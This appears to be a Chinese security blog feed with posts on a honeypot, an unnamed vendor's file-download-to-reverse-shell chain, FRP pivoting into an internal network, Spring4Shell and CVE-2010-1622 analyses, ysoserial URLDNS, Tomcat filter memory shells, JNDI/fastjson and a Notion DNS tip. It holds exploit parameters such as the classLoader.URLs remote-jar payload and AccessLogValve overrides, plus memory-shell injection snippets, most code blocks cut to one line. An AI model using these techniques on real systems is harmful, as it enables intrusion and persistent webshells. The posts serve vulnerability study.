开源地址:https://github.com/handbye/SimpleHoneyPot
面向护网,攻防演练等场景下的小型蜜罐。
特点:
目前已完成的蜜罐有:
后台中有个功能是抓包工具的下载,抓包修改其文件名即可下载任意文件。
只存在一个任意文件下载漏洞还不够,要是能利用此漏洞下载到系统源码,然后进行代码审计就有可能发现更多漏洞了。在后台翻功能时发现存在一个升级日志文件可进行查看,在此日志文件中发现了源代码的存放位置。
利用上述的任意文件下载漏洞成功下载到了源码
审计代码发现存在如下问题,executeLinuxCommand 函数会执行系统命令
调用位置如下:
本来想的看升级包文件名是否可控,进行命令拼接RCE,但是文件名必须符合如下正则,无法绕过。
所以就直接构造升级包,将反弹shell的命令写到updateAll.sh文件中即可执行。
源码中也贴心的给出了模板文件:
那我们就按照他的升级逻辑来制作一个升级包:
将这个三个文件打包成xxx-1.1.1-12345678.tar,这个名字要符合上面那个正则
updateAll.sh是关键,其内容如下:
上传升级包就可以执行命令进行反弹shell了.
本来有个RCE动图的,这里就不放了,等厂家修复后再更新。
光是后台RCE还不够,利用难度有点大,我想要把它变为前台RCE,所以开始进一步的代码审计。经过审计还真发现了一处处理用户登陆时的逻辑漏洞,可以在前台获取管理员密码,配合上面的后台RCE即可无条件的进行命令执行。
先展示利用过程:
该系统存在三个默账号admin/auditadmin/ruleadmin,这三个账号是内置的,不可修改的。
使用上述默认的三个存在账号进行登录,保存登录包的cookie。
然后使用该cookie发送修改密码的包,即可该用户获取加密后的密码,加密后的密码在代码中给出了解密逻辑,可轻易进行解密。
然后就是利用解密逻辑进行解密了,解密脚本这里就先不放了。
解密出来后就可以成功登陆后台了。
此漏洞分析过程如下:
此系统采用springBoot框架开发,权限过滤器中,updatePassword.action无需权限校验。
Login过程中,由于我们输入的是错误的密码,所以在进行第一次finduser查询时,返回的logininfo对象会是null,从而会进入 null == logininfo 的分支中进行第二次finduser查询;第二次finduser查询由于传入的password参数为null,因此在进入sql查询语句的时候并不会在where条件中拼接password字段的条件,从而成功查询出了数据,也就让logininfo中保存了登录用户对象的信息;随后程序将logininfo放入了session中。
紧接着在执行updatepassword时,程序会从session中获取logininfo,然后根据logininfo中的username去查询对应的用户信息。
因此该用户的信息保存在了this.user对象中,从而导致密码信息被泄露,而密码的加解密逻辑都可以在代码中找到,从而可以解密后登录系统。
]]>在某次HW时,我们在内网发现了一个防火墙web登录弱口令,在登录后查看配置时,发现此防火墙可通内网核心管理网段,拓扑大概如下:
此时我们得设法让攻击机能够访问此核心网段。我们想了如下几个方法:
先说下这几种方法的利弊,第一种方法最为简单,但是无法确定目标网段的网关设备在哪,有可能网关设备上没有到攻击机(跳板机)网段的回程路由。第二种方法做端口映射,如果不确定核心网段开放的端口也会很麻烦,且不利于fscan等工具做信息收集。第三种方法最为方便,一旦ssl vpn建立,就相当于攻击机已经处于核心网段之中了,这时候无论是信息收集还是漏洞利用都很方便,但是此防火墙处于内网,如何连接其ssl vpn是个问题。
当在防火墙上打开ssl vpn后,查看其登录页面如下。
按照其提示我们下载了ssl vpn客户端,并将其加入profile规则中,让其走socks5去连接ssl vpn服务器端。
此种方法尝试后发现,sslvpn在认证通过后立马又会掉线,查看连接日志发现是udp协商未通过。
由于socks5代理不支持UDP,所以UDP传输失败导致了ssl vpn无法正常建立。但是不是所有厂家的ssl vpn都不支持socks5代理的方式去连接,例如华为的ssl vpn就可以在其客户端上配置代理去连接。
所以在实际环境中可以先去尝试使用socks5代理去连接,不成功的话再采取端口转发的方法。
上面提到了由于socks5不支持UDP传输导致了ssl vpn建立失败,那我们分析下再其建立过程种UDP协商时使用的端口。
可以看到使用的是442端口,那么我们就想办法把UDP442端口转发出来。
这次使用的端口转发工具是FRP,其支持tcp,udp的端口转发。
这里就贴一下FRP的配置吧:
公网VPS的 frps.ini
_[common] |
内网可出网机器 frpc.ini
_[common] |
内网可出网机器 frps.ini
_[common] |
内网不出网机器 frpc.ini
_[common] |
这样基于可以把ssl vpn的http端口和udp端口全部转发出来了,再攻击机直接连接转发出来的端口即可。
可以看到vpn已成功建立连接,并分配了网卡。
这样就可以随意访问核心网段的地址了,ping也是没问题的。
前一篇文章介绍了cve-2010-1622漏洞的原理,本篇文章在其基础上介绍下CVE-2022-22965漏洞原理。
Spring Framework 5.3.X < 5.3.18 、2.X < 5.2.20
使用tomcat部署spring项目,且tomcat < 9.0.62
使用了POJO参数绑定
tomcat中可以在server.xml中配置日志得路径和其它参数得。
可以看到其类为:org.apache.catalina.valves.AccessLogValve
在Spring中的万物都是SpringBean,那么通过xml文件加载的配置属性,实际上也是可以被配置修改的, 此漏洞POC正是利用了这一点来修改了org.apache.catalina.valves.AccessLogValve
中得属性来达到getshell的目的。
# 设置文件后缀为 .jsp |
可以看到其poc也是通过参数绑定修改了对应的变量值,而且是SpringMVC 多层嵌套参数绑定
从poc可以推断其绑定过程为:
User.getClass() |
这里就不展开调式了,调式过程可以看这篇文章:Spring 远程命令执行漏洞(CVE-2022-22965)原理分析和思考
直接看下AccessLogValve这个类中的属性。
相关参数的解释:
suffix
参数
class.module.classLoader.resources.context.parent.pipeline.first.suffix
.jsp
按照pattern
参数相同的调试方法,suffix
参数最终将AccessLogValve.suffix
设置为.jsp
,即 accesslog 的文件名后缀。
directory
参数
class.module.classLoader.resources.context.parent.pipeline.first.directory
webapps/ROOT
按照pattern
参数相同的调试方法,directory
参数最终将AccessLogValve.directory
设置为webapps/ROOT
,即 accesslog 的文件输出目录。
这里提下webapps/ROOT
目录,该目录为 Tomcat Web 应用根目录。部署到目录下的 Web 应用,可以直接通过http://localhost:8080/
根目录访问。
prefix
参数
class.module.classLoader.resources.context.parent.pipeline.first.prefix
tomcatwar
按照pattern
参数相同的调试方法,prefix
参数最终将AccessLogValve.prefix
设置为tomcatwar
,即 accesslog 的文件名前缀。
fileDateFormat
参数
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat
按照pattern
参数相同的调试方法,fileDateFormat
参数最终将AccessLogValve.fileDateFormat
设置为空,即 accesslog 的文件名不包含日期。
通过修改这些属性即可改变tomcat日志的存放位置及名称和后缀,如果修改为xxx.jsp即可达到getshell的目的。
这里有几个问题:
1. 为什么需要jdk1.9以上的版本才能利用呢?
看过前面一篇文章的同学知道spring在对cve-2010-1622的漏洞修复时将将classloader添加进了黑名单,但是自从JDK 9+开始,JDK引入了模块(Module)的概念,就可以通过module来调用JDK模块下的方法,而module并不在黑名单中,所以能够绕过黑名单,如:class.module.classLoader.xxxx的方式。
2. 为什么需要tomcat部署方式才能利用呢?
使用 SpringBoot 可执行 jar 包的方式运行,classLoader嵌套参数被解析为org.springframework.boot.loader.LaunchedURLClassLoader,查看其源码,没有getResources()方法。也就无法进一步利用了。
另外Panda师傅写了个可以遍历属性的脚本:
@RequestMapping("/testclass") |
运行后确实可以发现有关属性:
spring 修复方法:
通过对比 Spring 5.3.17 和 5.3.18 的版本,可以看到对CachedIntrospectionResults
构造函数中 Java Bean 的PropertyDescriptor
的过滤条件被修改了:当 Java Bean 的类型为java.lang.Class
时,仅允许获取name
以及Name
后缀的属性描述符。在章节3.2.2 关键点二:JDK版本
中,利用java.lang.Class.getModule()
的链路就走不通了。
tomcat修复方法:
Tomcat 9.0.62补丁中可以看到对getResource()方法的返回值做了修改,直接返回null。WebappClassLoaderBase即ParallelWebappClassLoader的父类,Web应用部署方式中,利用org.apache.catalina.loader.ParallelWebappClassLoader.getResources()的链路就走不通了。
在分析此漏洞的过程中,参考了不少资料,以作者目前的能力来说,看起有关于spring和tomcat的框架部分来说还有点吃力,一些内容也是直接引用的其它师傅的分析结果。CVE-2022-22965漏洞的利用方式还参考了Struts2 S2-020漏洞的利用方法,不得不说还是很精妙的。
最近spring爆出了一个可以配合tomcat getshell的漏洞,spring4shell, 在查看网上一些文章对此漏洞的分析时,有师傅说这个漏洞是对cve-2010-1622的绕过。所以本篇文章就带大家复现下这个古老的漏洞,下篇文章会分析下CVE-2022-22965漏洞的利用原理。
spring版本:
3.0.0 to 3.0.2 |
tomcat < 6.0.28
spring 使用了表单标签功能
在java中有两种对象,一种是通过new()
出来的对象,另外一种是Class对象。在Java中用来表示运行时类型信息的对应类就是Class类,Class类也是一个实实在在的类,存在于JDK的java.lang包中。Class类被创建后的对象就是Class对象,注意,Class对象表示的是自己手动编写类的类型信息,比如创建一个Shapes类,那么,JVM就会创建一个Shapes对应Class类的Class对象,该Class对象保存了Shapes类相关的类型信息。实际上在Java中每个类都有一个Class对象,每当我们编写并且编译一个新创建的类就会产生一个对应Class对象并且这个Class对象会被保存在同名.class文件里(编译后的字节码文件保存的就是Class对象)。
Class对象具有下面这几个特点:
Class对象的获取
Class对象可以由以下几种方法获取:
package com.test; |
输出结果:
也就是说当我们获取了一个类的Class对象,就可以获取这个类的相关信息,如属性,方法等,反射正是基于这点来实现的。
网上解释java bean是什么的很多,但都有点复杂,其实在java中某个类只要符合以下四个条件就可以称之为java bean.
1、所有属性为private
2、提供默认构造方法(例如无参构造)
3、提供getter和setter
4、实现serializable接口
例如下面这个Person类就是一个java bean
/_创建 Person无参构造方法_ / |
java bean 中的内省 introspector
内省(IntroSpector)是Java语言对JavaBean 类属性、事件的一种处理方法。 例如类A中有属性name,那我们可以通过getName,setName 来得到其值或者设置新的值。 通过getName/setName 来访问name属性,这就是默认的规则。
Java中提供了一套API 用来访问某个属性的getter/setter方法,这些API存放于包java.beans 中。
一般的做法是通过类Introspector的getBeanInfo方法获取某个对象的BeanInfo信息,然后通过BeanInfo来获取属性的描述器(PropertyDescriptor),通过这个属性描述器就可以获取某个属性对应的getter/setter方法,然后我们就可以通过反射机制来调用这些方法。
例如,User类如下:
public class User { |
通过 Introspector 来获取User类中的属性
_import java.beans.; |
输出结果:
可以看到运行结果中不但含有User的Name和Age属性,还有一个名为class的属性,并且在这个属性中还有getClass()的方法,实际上Java Object 类是所有类的父类,也就是说 Java 的所有类都继承了 Object,子类可以使用 Object 的所有方法,这里的class属性就是从Object继承的getClass()方法带来的。
再看下 Class
对象内省可以获取那些属性和方法。
BeanInfo beanInfo = Introspector.getBeanInfo(Class.class); |
结果为:
这里重点关注写classLoader属性和getClassLoader方法。
Spring Bean是事物处理组件类和实体类(POJO)对象的总称,是能够被实例化、能够被spring容器管理的java对象。
可以把spring bean理解为java bean的增强版,spring bean是由 Spring IoC 容器管理的,bean 是一个被实例化,组装,并通过 Spring IoC 容器所管理的对象。这些 bean 是由用容器提供的配置元数据创建的,在spring中可以由xml配置文件来创建bean,也就是创建所需要的对象。
例如,在xml文件中配置如下的spring bean
|
在spring中就相当于调用了如下的代码:
Bean bean = new com.Person(“zhangsan”,”21”);
当然spring bean还支持多种装配方式,具体可看:原来Spring的bean是这样装配的。
Spring MVC Controller 接收请求参数的方式有很多种,有的适合 get 请求方式,有的适合 post 请求方式,有的两者都适合。主要有以下几种方式:
本篇中只介绍下通过Bean来接受请求参数的方法,其它方式请看:Spring MVC传递参数
Controller如下:
|
当访问并通过参数赋值时就可以获取到对应的值:
其实上面所描述的就是spring中的参数绑定或者变量覆盖。
参数嵌套传递或绑定
除了上述的赋值方法外,当用户传入一个user.address.street=xxx
这样的值,就相当于执行了如下的传递过程。
UserObj.getUser().getAddress().setStreet("xxx") |
在这个过程中有一个比较有意思的想象就是,当一个变量为数组时,即使没有定义对应的set方法,也可以进行赋值。
在User类中定义一个数组变量
private String hobbies[] = new String[]{"篮球","唱歌"}; |
并只设置其get方法:
当访问并赋值时也可以赋值成果,说明数组变量即使不设置set方法也能赋值。这点比较重要,也是cve-2010-1622这个漏洞利用能够成功的关键。
对于List,Map类型的字段也有类似的处理,也就是说这三种类型是不需要set方法也能进行参数覆盖。
Spring MVC表单标签是网页的可配置和可重用的构建基块。这些标记为JSP提供了一种开发,读取和维护的简便方法。
Spring MVC表单标记可以看作是具有数据绑定意识的标记,可以将数据自动设置为Java对象/bean并从中检索它。在这里,每个标签都支持与其对应的HTML标签对应物的属性集,从而使标签变得熟悉且易于使用。
表单标签库位于spring-webmvc.jar下。要启用对表单标签库的支持,需要参考一些配置。因此,在JSP页面的开头添加以下指令:
<%@ taglib prefix="form" uri="http://www.springframework.org/tags/form" %> |
常用的表单标签有:
例如,当在jsp页面中使用了如下form标签
<form:form commandName="user"> |
前端渲染出来后就是如下页面:
其它标签也类似。
JSP标准标签库(JSTL)是一个JSP标签集合,它封装了JSP应用的通用核心功能。
JSTL支持通用的、结构化的任务,比如迭代,条件判断,XML文档操作,国际化标签,SQL标签。 除了这些,它还提供了一个框架来使用集成JSTL的自定义标签。
简单理解就是jstl就是一系列的标签库,上边色spring表单标签就是spring内置的jstl,当然我们也可以自定义jstl,cve-2010-1622漏洞最后的命令执行也正是基于这一点来实现的。
关于jstl可以看此教程:JSP 标准标签库(JSTL)
关于如何自定义taglib,以及jstl各标签的详细解释可以看这里:
payload如下:
http://localhost:8080/student?class.classLoader.URLs[0]=jar:http://127.0.0.1:8081/spring-jar.jar!/ |
通过覆盖classLoader.URLs来远程加载jra包达到rce的目的。
这里有几个问题。
1. jar包里面的内容是啥,应该如何写?
这里jar包里面的内容其实就是我们自定义的jstl标签,结构如下:
spring-form.tld内容如下:
<?xml version="1.0" encoding="UTF-8"?> |
InputTag.tag内容如下:
<%@ tag dynamic-attributes="dynattrs" %> |
InputTag.tag 里面正是存放命令执行语句的最终位置。
可以看到spring-form.tld中重新定义了input和form标签的位置,导致通过classLoader重新加载jar包后就会覆盖原有的Spring MVC表单标签,导致了执行InputTag.tag中的命令。
2. 为什么要修改class.classLoader.URLs[0]的值?
从上面的前置知识中可以得知任何类的基类都有一个Class对象,并且通过内省机制都可以获取对应的getClass方法,而在渲染jsp页面时,Spring会通过Jasper中的TldLocationsCache类(jsp平台对jsp解析时用到的类)从WebappClassLoader里面读取url参数(用来解析TLD文件在解析TLD的时候,是允许直接使用jsp语法的)在init时通过scanJars方法依次读取并加载。
相关代码可以看:TldLocationsCache.java
这里把重点代码贴出来:
_private void scanJars() throws Exception { |
webappLoader是tomcat中的一个类,其中有一个getURLs方法:
|
注意看这里:
URL[] urls = ((URLClassLoader) loader).getURLs(); |
和这里
String urlStr = urls[i].toString(); |
现在思路明确了,只要修改urls,即可修改jarURL的值,从而加载远程jar包中的内容。
修改urls即使修改getURLs函数。
2. URL[]对象并没有setter为什么可以对其赋值呢?
在上文中已经说明了当变量为数组时,即使没有对应的set方法,spring也会对其进行java 内省操作。
所以通过class.classLoader.URLs[0]
即可实现对webappLoader
中的getURLs赋值。
就相当于执行了
class.getClassLoader.getURLs = jar:http://127.0.0.1:8081/spring-jar.jar!/ |
最终漏洞复现结果:
简单总结下主要流程:
exp->参数自动绑定->数组覆盖classLoader.URLs[0]->WebappClassLoader.getURLs()->TldLocationsCache.scanJars()->模板解析->shellcode |
spring修复方法:
spring在CachedIntrospectionResults中获取beanInfo后对其进行了判断,将classloader添加进了黑名单。
tomcat修复方法:
tomcat6.0.28版本后把getURLs方法返回的值改成了clone的,使得我们获得的拷贝版本无法修改classloader中的URLs[]。
cve-2010-1622的漏洞分析就到这里了,有了这些前置知识,下篇文章对CVE-2022-22965漏洞的分析将会简单许多。
java反序列化也算是个老生常谈的话题了,近年来就java反序列化问题出现过不少的漏洞,如shiro反序列化,fastjson反序列化等。说起java反序列化的漏洞利用,那么不得不提一个工具ysoserial
。
反序列化漏洞在各个语⾔⾥本不是⼀个新鲜的名词,但2015年Gabriel Lawrence (@gebl)和ChrisFrohoff (@frohoff)在AppSecCali上提出了利⽤Apache Commons Collections来构造命令执⾏的利⽤链,并在年底因为对Weblogic、JBoss、Jenkins等著名应⽤的利⽤,⼀⽯激起千层浪,彻底打开了⼀⽚Java安全的蓝海。
⽽ysoserial就是两位原作者在此议题中释出的⼀个⼯具,它可以让⽤户根据⾃⼰选择的利⽤链,⽣成反序列化利⽤数据,通过将这些数据发送给⽬标,从⽽执⾏⽤户预先定义的命令。– 来自<<java安全漫谈>>
在ysoserial
中有一个gatget叫做URLDNS,这条链不依赖于任何组件,可以方便的探测是否存在Java反序列化漏洞。
它有以下几个特点:
这篇文章就从URLDNS来展开说说java反序列化和这条链执行的过程。
序列化:就是将对象转化成字节序列的过程。
反序列化:就是讲字节序列转化成对象的过程。
java为我们提供了对象序列化的机制,规定了要实现序列化对象的类要满足的条件和实现方法。
对于要序列化对象的类要去实现Serializable
接口或者Externalizable
接口
类 ObjectInputStream
和 ObjectOutputStream
是高层次的数据流,它们包含反序列化和序列化对象的方法。
ObjectOutputStrea
m 类包含很多写方法来写各种数据类型,但是一个特别的方法例外:
public final void writeObject(Object x) throws IOException |
上面的方法序列化一个对象,并将它发送到输出流。相似的 ObjectInputStream
类包含如下反序列化一个对象的方法:
public final Object readObject() throws IOException, ClassNotFoundException |
也就是说在反序列化时会执行readObject
方法里面定义的内容。
readObject
方法是可以被重写的,当重写的readObject
方法中包含了如代码执行等可控点,就可以执行反序列化攻击了,但是有谁会这么傻呢,将危险并且可控的函数写在readObject
方法里。所以需要不断在代码(组件)中去寻找可以“影响”到readObject
方法里面的某个函数,进而通过链式调用达到命令执行或其它操作的目的。
几个注意点:
serialVersionUID的作用
在进行序列化时,会把当前类的serialVersionUID
写入到字节序列中(也会写入序列化的文件中),在反序列化时会将字节流中的serialVersionUID
同本地对象中的serialVersionUID
进行对比,一致的话进行反序列化,不一致则失败报错(报InvalidCastException异常)。
serialVersionUID
的生成有三种方式(private static final long serialVersionUID= XXXL )
:
写个学生类:
package code; |
把学生类进行序列化:
package code; |
看下序列化后的文件内容:
可以看到前两个字节为AC
ED
,这也是java序列化数据的一个明显标志。
把学生类进行反序列化:
package code; |
把学生类的readObject
方法进行重写:
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException { |
然后执行反序列化时就会触发命令执行函数
这个例子说明反序列化漏洞的触发点就在readObject
这个函数上,接下来分析的URLDNS链也会从readObject
上开始。
所以我们总结下可能造成反序列化漏洞的条件:
readObject
函数直接调用危险方法readObject
函数会调用它readObject
函数会调用它java集合中有一个Map集合比较特殊,它的key 和 value 都可以是任何引用类型的数据,包括对象。那么他就很符合上面我们提到的造成反序列化漏洞额条件的第二点,入口类的参数可控并且可以是任意类和对象。
Map是一个接口,它有很多实现类,其中一个实现类为HashMap,它继承了Serializable,说明HashMap类是可以被序列化的。
public class HashMap<K,V> extends AbstractMap<K,V> |
HashMap类中也重写了readObject
方法:
这里也留意下其中调用了putVal
函数和hash
函数
回到URLDNS这边,这条链的调用关系是这样的:
Gadget Chain: |
在分析时需要从后往前,先看下URL
这个类,它其中有一个hashcode方法,我们先调用这个方法看下效果:
package com.test; |
当运行时dns平台会收到结果
进入到hashcode函数中发现其调用了handler.hashCode
.
跟到handler.hashCode
中,发现其调用了getHostAddress
函数
getHostAddress
函数的作用就是解析域名,在解析域名时就会触发DNS请求。
那么现在关键的函数就是hashCode
了,我们需要寻找哪个类的readObject
方法中调用了hashCode
或者间接调用了hashCode
函数,前面以及分析过了,在HashMap类中的readObject
方法调用了putVal
函数和hash
函数,跟到hash
函数中发现其调用了hashCode
函数。
那么现在就清晰了,整个过程时这样的:
java.util.HashMap实现了Serializable接口,重写了readObject, 在反序列化时会调用hash函数计算key的hashCode,而java.net.URL的hashCode在计算时会调用getHostAddress来解析域名, 从而发出DNS请求。
画个图比较清晰:
接下来就是代码实现了:
package code; |
但是这里有一个问题,就是我们还未执行反序列化时就已经进行了DNS请求。
因为在hashmap的put函数中已经调用了一次hashcode函数。
这就导致了我们无法确认到底是反序列化时触发的DNS请求,还是在序列化hashmap类时,其put函数导致触发的DNS请求。
跟进到URL类中的hashCode
函数:
可以看到当hashCode
的值为-1时才会进入到handler.hashCode
函数中执行请求。
由于hashCode的值默认为-1,所以我们需要借助反射,修改它的值不为-1,让其在反序列化时不发起请求,在put后再把hashCode的值改为-1,让其在反序列化时能够发起请求,这样就可以确定反序列化漏洞是否存在了。
关于反射的问题,可以去看下我之前发的这篇文章:java安全-java反射
那我们在之前代码的基础上进行一个修改:
package code; |
注意看代码中的注释即可。
然后在反序列化,即可触发DNS请求。
package code; |
支持整个URLDNS链就分析完了,这条链相对来说是比较简单的,但也有许多需要注意的点,ysoserial中其它链的分析思路也是这样的。
不得不说ysoserial整个工具中的gadget非常巧妙且有深度,对java反序列化的学习还需继续加油啊!
参考文章:
]]>tomcat作为servelt容器,基于tomcat的内存马其实就是对servlet api的操作,如listener,filter或者servlet。
Servlet 是运行在 Web 服务器或应用服务器上的程序,它是作为来自 HTTP 客户端的请求和 HTTP 服务器上的数据库或应用程序之间的中间层。它负责处理用户的请求,并根据请求生成相应的返回信息提供给用户。
Servlet 程序是由 WEB 服务器调用,web 服务器收到客户端的 Servlet 访问请求后:
Filter 译为过滤器。过滤器实际上就是对 web 资源进行拦截,做一些处理后再交给下一个过滤器或 servlet 处理,通常都是用来拦截 request 进行处理的,也可以对返回的 response 进行拦截处理。
web 服务器根据 Filter 在 web.xml 文件中的注册顺序,决定先调用哪个 Filter,当第一个 Filter 的 doFilter 方法被调用时,web 服务器会创建一个代表 Filter 链的 FilterChain 对象传递给该方法。在 doFilter 方法中,开发人员如果调用了 FilterChain 对象的 doFilter 方法,则 web 服务器会检查 FilterChain 对象中是否还有 filter,如果有,则调用第 2 个 filter,如果没有,则调用目标资源。
生命周期:
init
public void init(FilterConfig filterConfig) throws ServletException; |
初始化和我们编写的Servlet程序一样,Filter的创建和销毁由WEB服务器负责。web 应用程序启动时,web 服务器将创建Filter 的实例对象,并调用其init方法,读取web.xml配置,完成对象的初始化功能,从而为后续的用户请求作好拦截的准备工作(filter对象只会创建一次,init方法也只会执行一次)。开发人员通过init方法的参数,可获得代表当前filter配置信息的FilterConfig对象。
Filter
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException; |
拦截请求这个方法完成实际的过滤操作。当客户请求访问与过滤器关联的URL的时候,Servlet过滤器将先执行doFilter方法。FilterChain参数用于访问后续过滤器。
destroy
public void destroy(); |
销毁Filter对象创建后会驻留在内存,当web应用移除或服务器停止时才销毁。在Web容器卸载 Filter 对象之前被调用。该方法在Filter的生命周期中仅执行一次。在这个方法中,可以释放过滤器使用的资源。
监听器用于监听 Web 应用中某些对象的创建、销毁、增加,修改,删除等动作的发生,然后作出相应的响应处理。当监听范围的对象的状态发生变化的时候,服务器自动调用监听器对象中的方法。常用于统计网站在线人数、系统加载时进行信息初始化、统计网站的访问量等等。
主要由三部分构成:
在初始化时,需要将事件源和监听器进行绑定,也就是注册监听器。
可以使用监听器监听客户端的请求、服务端的操作等。通过监听器,可以自动出发一些动作,比如监听在线的用户数量,统计网站访问量、网站访问监控等。
先启动一个tomcat示例,其中的一个路由为hello-servlet
.
_package com.test.serveltdemo; |
访问其路由地址,返回正常
接下来我们来写一个过滤器,当用户输入指定的url时就会触发过滤器中指定的操作。
_package com.test.serveltdemo; |
上述代码中我们使用了注解进行注册过滤器,也可以在web.xml中进行配置,等同于下面的配置:
<!-- 配置Filter --> |
当访问对应的路由时,过滤器就会生效:
当不带参数访问时,还是正常的页面:
这样就完成了一个简单的Filter执行命令的示例。
要想注入Tomcat Filter内存马,首先要对Tomcat的Filter过滤器执行过程有一定的了解,这里我主要参考了这篇文章,想要仔细看的可以去细读下。
我这里就做个总结吧:
了解Tomcat过滤器涉及到的几个核心类及其功能
了解Tomcat中是如何将我们自定义的 filter 进行设置并且调用的
通过 configureContext 解析 web.xml 然后返回 webXml 实例
在 StandardWrapperValve 中利用 ApplicationFilterFactory 来创建filterChain我们看到红框处的代码,首先会调用 getParent 获取当前 Context (即当前 Web应用),然后会从 Context 中获取到 filterMapsfilterMaps中的 filterMap 主要存放了过滤器的名字以及作用的 url,继续往下看
遍历 FilterMaps 中的 FilterMap,如果发现符合当前请求 url 与 FilterMap 中的 urlPattern 相匹配,就会进入 if 判断会调用 findFilterConfig 方法在 filterConfigs 中寻找对应 filterName名称的 FilterConfig,然后如果不为null,就进入 if 判断,将 filterConfig 添加到 filterChain中。跟进addFilter函数,在addFilter函数中首先会遍历filters,判断我们的filter是否已经存在,不存在的话,会将我们的filterConfig 添加到 filters中。至此 filterChain 组装完毕,重新回到 StandardContextValue 中,调用 filterChain 的 doFilter 方法 ,就会依次调用 Filter 链上的 doFilter方法。在 doFilter 方法中会调用 internalDoFilter方法在internalDoFilter方法中首先会依次从 filters 中取出 filterConfig
调用 getFilter() 将 filter 从 filterConfig 中取出,调用 filter 的 doFilter方法。最后调用我们自定义过滤器中的 doFilter 方法,从而触发了相应的代码
那么在了解了Tomcat的Filter运行过程后,那么要注入内存马,就是要想办法修改filterConfigs
,filterRefs
,filterMaps
这三个变量,这三个变量都是Tomcat context变量的成员变量。如下图:
在回忆下这三个成员变量的作用:
设法修改这三个变量,也许就能实现目的。
查看StandardContext源码:
StandardContext.addFilterDef()可以修改filterRefs
StandardContext.filterStart()函数会根据filterDef重新生成filterConfigs
至于filtermaps,直接本地new一个filter插入到数组第一位即可
那么如何获取StandardContext呢?,当我们能直接获取 request
的时候可以将 ServletContext
转为 StandardContext
从而获取 context
.
ServletContext跟StandardContext的关系:
Tomcat中的对应的ServletContext实现是ApplicationContext。在Web应用中获取的
ServletContext实际上是ApplicationContextFacade对象,对ApplicationContext进行了封
装,而ApplicationContext实例中又包含了StandardContext实例,以此来获取操作Tomcat容器内部的一些信息,例如Servlet的注册等。
通过下面的图可以很清晰的看到两者之间的关系
当 Web 容器启动的时候会为每个 Web 应用都创建一个 ServletContext
对象,代表当前 Web 应用.
通过反射即可获取到standardContext
对象
ServletContext servletContext = request.getServletContext(); |
其它获取standardContext
对象的方法:
获取到standardContext
后就可以注入内存马了,大致流程如下:
代码如下:
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs"); |
完整的jsp代码如下:
<%@ page import="org.apache.catalina.core.ApplicationContext" %> |
进行内存马注入:
访问内存马:
上述文章简单描述了基于Tomcat filter的内存马原理和注入方法,但是此种方式需要基于jsp的webshell进行注入,在实战过程中,此种方式用到的地方不多,大多数是基于反序列化漏洞的动态内存马注入。要想理解此种方式还需对java反序列化有一点的了解,这个我们后续再谈。
参考文章:
]]>作者算是一个notion的重度用户了,每天都要在notion上收集和记录东西,如下面的页面就是我在notion上记录的有关于网络安全的东西。
奈何notion在国内没有服务器,导致网络访问较慢,有时候更是直接打不开页面。在网上搜寻解决办法时,大概找到了这么两种:
本文篇章主要介绍第二种方法,因为第一种方法对大多数人来说不适用。
这里首先要感谢Jerry提供了一个免费的节点用进行notion的流量中转,具体情况可以看这里。
我更推荐你使用DOH,因为修改host的方式当加速服务器的ip更改后就失效了。
windows用户如何修改host?请看这里https://jingyan.baidu.com/article/9113f81b49ed2f2b3214c7fa.html
如何使用DOH呢?
如何你只是要浏览器访问notion,那么设置很简单,以chrome为例:
打开设置中的安全和隐私设置
在这里设置使用安全的DNS即可。
如何你要使用notion客户端,那么上面的方法就不适用了,以windows用户为例,如果要设置DOH,win10本身是不支持的,我推荐一款简单方便的软件叫做AuroraDNS。
下载地址:https://github.com/mili-tan/AuroraDNS.GUI
使用方法:https://www.4gml.com/thread-78.htm
只需要在这里设置主DNS为https://dns.jerryw.cn:8443/dns-query
即可:
最后启动就可以了
然后可以去测试下你的notion速度是不是比之前快多了!
]]>网络传输只能通过字节流,不能直接传输对象。
进行通信时,发送方需要把这个Java对象转换为字节序列,然后在网络上传送; 接收方需要从字节序列中恢复出Java对象。
反序列化常用的JNDI注入有两种利用方式,一种是基于rmi,一种是基于ldap。RMI指的是JAVA的远程方法调用,LDAP是轻量级目录访问协议。
JNDI (Java Naming and Directory Interface) 是一组应用程序接口。
比如,如果lookup方法的参数是可以控制的,就可以将其参数指向我们控制的RMI服务,切换到我们控制的RMI/LDAP服务。
JNDI是一台交换机,将组件、资源、服务取了名字,再通过名字来查找
RMI 允许像在本机上一样操作远程机器上的对象。当发送消息给远程对象和调用远程方法时,需要用到序列化机制来发送和接收返回值。
由此可见,使用 RMI 时会涉及到参数传递和结果返回,参数为对象时,要求对象可以被序列化。
从客户端角度看,服务端应用是有两个端口的,一个是RMI Registry端口,另一个是远程对象的通信端口。
RMI Registry可以和Server端在一台服务器上,也可以在不同的服务器上,不过大多数时候在同一台服务器上且运行在同一JVM环境下。
将恶意的Reference类绑定在RMI注册表中,其中恶意引用指向远程恶意的class文件,当用户在JNDI客户端的lookup()函数参数外部可控或Reference类构造方法的classFactoryLocation参数外部可控时,会使用户的JNDI客户端访问RMI注册表中绑定的恶意Reference类,从而加载远程服务器上的恶意class文件在客户端本地执行,最终实现JNDI注入攻击导致远程代码执行。
基于rmi的利用方式:适用jdk版本:JDK 6u141, JDK 7u131, JDK 8u121之前。在jdk8u122的时候,加入了反序列化白名单的机制,关闭了rmi远程加载代码。基于ldap的利用方式:适用jdk版本:JDK 11.0.1、8u191、7u201、6u211之前。在Java 8u191更新中,Oracle对LDAP向量设置了相同的限制,并发布了CVE-2018-3149,关闭了JNDI远程类加载。
Fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,可以将数据在JSON和Java Object之间互相转换。
FastJson自己实现了一套反序列化的机制,并没有使用默认的readObject(),在序列化反序列化的时候会进行一些操作,主要是setter和getter的操作,同样结合一些类的特性造成命令执行。
_class Apple implements Fruit { |
序列化
为字符串反序列化
为对象toJSONString : {"fruit":{"price":0.5}} |
为了解决上述问题,引用了autotype,即在序列化的时候,把原始类型记录下来
{ |
fastjson在解析json的过程中,支持使用autoType
来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。
那么就可以利用这个特性,自己构造一个JSON字符串,并且使用@type指定一个自己想要使用的攻击类库。
比如com.sun.rowset.JdbcRowSetImpl
这个类库,是sun官方提供的一个类库,这个类的dataSourceName
